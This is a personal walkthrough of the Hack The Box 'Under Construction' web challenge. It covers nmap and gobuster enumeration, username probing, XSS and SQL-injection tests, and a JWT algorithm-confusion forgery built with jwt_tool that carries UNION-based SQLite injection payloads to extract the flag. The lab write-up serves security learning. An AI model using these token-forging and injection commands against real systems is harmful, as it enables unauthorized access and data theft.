Under Construction

A company that specializes in web development is creating a new site that is currently under construction. Can you obtain the flag?

Target: 161.35.38.172:31238

  • Downloaded File:

  • Zip Password:

hackthebox
  • Zip Hash:

9f5c670ddfe72f08828eee3732ee8b00340fe7cf6448294039a4a384aff7e08c

NMAP

  • I ran a quick nmap scan of the instance to see if that would reveal anything else.

nmap -A -Pn -p [Target Port] [Target IP]
  • Looks like it is a web server running Node.js Express framework.

GOBUSTER

  • Run a quick gobuster scan to see if we can locate any other directories.

gobuster dir -u http://[Target IP]:[Target Port] -w /usr/share/dirb/wordlists/common.txt
  • The only new one it found was the /logout which just redirects to the /auth page.

HTTP

  • Start with checking out the URL:

161.35.38.172:31238
  • Checking out the source code:

  • Looks like we have a typical log in form. There is also some script language at the bottom which compares hash data to ensure the integrity of the information being loaded.

  • Trying a test of admin:admin in the login produces the following:

  • The URL also has changed with these parameters:

http://161.35.38.172:31238/auth?error=Invalid%20username%20or%20password
  • Some interesting information from Wappalyzer:

  • I grabbed a login attempt with Burpsuite to see if that revealed anything:

  • Let's try to "Register" a new user with the credentials testaccount:password123

  • Now I will try to login in with those credentials.

  • Looks like it took us to the index.html page we have in the files.

  • Note: if I try to register the same username it tells me the account already exists. Let's use this to see if we can get an actual username.

  • I tried a bunch of credentials and found the following already exist:

    • user:user

  • The others I tried that didn't work (but are now registered are):

    • administrator

    • admin

    • root

    • guest

    • username

FILES

  • Start with the files provided from the zip.

  • I started with the index.thml

    • It mainly looks like the beginning of home page for a website which makes sense based on the naming.

  • Taking a look at it by opening the file in browser shows something similar

  • Let's take a look at the auth.html file. This just looks like the source code to the URL we were given. This makes sense as the names match up.

  • Let's check it out on a browser. Looks a bit rougher and it also looks like it displays some of the backend code.

  • It's possible this is vulnerable to XSS due to the query.error value is not properly sanitized before being included in the HTML response.

  • We could try to plugin a quick test script to the URL to see if it does an alert:

http://[Target IP]:[Target Port]/auth?error=%3Cscript%3Ealert(%27XSS%27);%3C/script%3E
  • Unfortunately, it looks like it is getting sanitized on the server side and is being returned as a string. It actually looks like this may not be the final code utilized for the site which means that it may have been corrected.

  • Next, we are going to look at the package.json. This is a package file for Node.js which includes metadata as well as dependencies to run Node.js.

  • I'm next looking at the index.js. This is a Node.js script that creates a web application using the express framework. Nothing to note that I can tell.

  • DBHelper.js, is a Node.js module that exports several functions for working with a SQLite database.

    • This is used to get usernames, check usernames, and create new usernames.

    • It may be possible that this is vulnerable to SQLI.

    • I can try inputting the following into the username field to see if it is vulnerable.

' OR 1=1;--
  • This doesn't seem to work though so it's probably being filtered on the server's side.

  • JWTHelper.js, is a Node.js module using two functions to sign and decode json web token.

  • AuthMiddleware.js, This is a middleware function for a Node.js web application that verifies the authenticity of a JSON Web Token (JWT) stored in a cookie, and adds the decoded payload data to the req object for later use.

JWT

  • I had to look at a walkthrough for this one. It looks like this has to do with the JWT web tokens.

  • This web app is vulnerable to JWT Confusion or CVE-2015-9235.

  • I first start by logging into web page with the credentials user:user (I validated these credentials exist above) and capture the response on Burpsuite. I could also just look this up in the developer's tools of the browser.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2ODMxNTg1MDF9.TxcTnjKm_tyWNYbfEjzw2lueNPoBxxORjzlnWBZ2Rv0CHOJTu_zDaSqywvERYwmyKoTcxru2zRS_pSEjnBFFWNTLSgo-jDDk5-ugr_GEVGxlBfjWBqj5IYbhzCvBoeCfKqlGXozcPd01CbRCMbqVI5diTWgKdotysY7BMbktbaj5Za4v37N1NRyn5YXmC5MbnJjvjBzYeFmjuf1lmlJ5g_pgN8B2n2c05I2L2iRFqWHmUb7h2rI412anm8KxjdS_uIhbYcStY99hrZwXF4cWwM7ZUCqxXod0dtvRGvn1rkR54gmAjtixmxqFED-k9Nyk_GMfW-_7o0Ux2MuXog2Dag
  • Above is the session cookie. We can tell it is a JWT token because it starts with ey and is separated into three sections with a . .

  • We can use a tool called jwt.io to analyze the JWT.

  • It looks like it is actually able to get a Public Key from this.

{
  "username": "user",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1683158501
}
  • I reformatted the public key and removed all of the /n in it.

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
  • Let's create a new file called key and plug it in there.

  • With that I'm going to try to use a tool called RsaCtfTool to gain a private key from it.

./RsaCtfToo.py --publickey [Path to Key File] --private
  • I don't think I need to do this as my computer took a really long time to try to decrypt this.

  • How these tokens work is that when a user goes to get information from the page, it is encrypted using a private key and the token is sent to the user. This token then needs to be verified and we need to ensure the token is verified. We can use the same web app to do this by plugging the formatted public key into the box for it. It will then show that it is verified.

  • I can take the formatted public key and plug it back into the web application to see If I can verify the token.

  • This will be a two-part attack.

    • We need to first get the web server to verify the JWT.

    • From our previous exploration, we can then do a SQLI on the login page. This is why this did not work originally.

  • We can use this tool to modify the JWT. In the directory that you download the tool run the following:

python3 jwt_tool.py [JWT]
  • This will analyze the JWT similar to the web app but can also modify it as well.

  • Let's start by using BurpSuite to capture a packet after signing in (Has the JWT) and send it to the Repeater.

  • We'll use this to try multiple attempts on the SQLI.

  • I had to use another guide as the previous one got me a little lost.

  • I then used the jwt_tool.py to create a payload of the JWT with the SQLI.

python3 jwt_tool.py [JWT] -I -pc username -pv "[USE THE USER YOU LOGGED IN WITH]' and 1=0 union all select 1,group_concat(sql),1 from sqlite_master--" -X k -pk [PATH TO PUBLIC KEY]
  • This did not work but does show the SQLI was uploaded and returned values.

  • I need to do some work on learning SQLI. I wish I could say I fully understood the route to get to the SQLI command but I don't. I will look for a lab to brush up on this.

  • Long story short, I was able to get the following SQLI payload to work.

"user' and 1 = 0 union all select 1, group_concat(top_secret_flaag),1 from flag_storage--"
  • Using this we will plug it into the JWT_Tool to create a JWT token with the payload and submit it through burpsuite.

python3 jwt_tool.py [JWT] -I -pc username -pv "[USE THE USERNAME YOU LOGGED IN WITH TO CREATE THE JWT TOKEN]' and 1 = 0 union all select 1, group_concat(top_secret_flaag),1 from flag_storage--" -X k -pk [PATH TO PUBLIC KEY]
  • Now take that JWT and plug it into the Burpsuite repeater. Send the request and check the response. You'll see that is has now returned the Flag.

  • The flag is:

HTB{d0n7_3xp053_y0ur_publ1ck3y}
  • Conclusion: I need to work on SQLI as that is really the only part I got lost on.

Last updated